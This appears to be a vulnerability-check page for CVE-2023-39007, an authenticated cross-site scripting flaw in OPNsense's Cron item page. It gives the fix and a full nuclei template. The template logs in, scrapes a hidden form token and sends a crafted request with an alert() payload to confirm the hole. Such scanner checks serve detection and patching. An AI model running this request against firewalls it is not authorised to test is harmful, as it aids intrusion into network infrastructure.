OPNsense - Cross-Site Scripting to RCE

criticalseverity

9.6CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.

Impact

Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.

Fix

Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.

How to confirm it

Send: GET / ; POST / ; GET /ui/cron/item/open/0'+alert(document.domain)+'
Positive when: contains in body_3 "openDialog('0'+alert(document.domain)+''" AND contains in header_3 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-39007 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-39007

info:
  name: OPNsense - Cross-Site Scripting to RCE
  author: ritikchaddha
  severity: critical
  description: |
    There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.
  remediation: |
    Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.
  reference:
    - https://logicaltrust.net/blog/2023/08/opnsense.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-39007
    cwe-id: CWE-79
    epss-score: 0.02608
    epss-percentile: 0.85526
    cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: opnsense
    product: opnsense
    shodan-query:
      - title:"OPNsense"
      - http.title:"opnsense"
    fofa-query: title="opnsense"
    google-query: intitle:"opnsense"
  tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1

      - |
        GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "openDialog('0'+alert(document.domain)+''"

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: para
        part: body
        group: 1
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true

      - type: regex
        name: value
        part: body
        group: 2
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true

References

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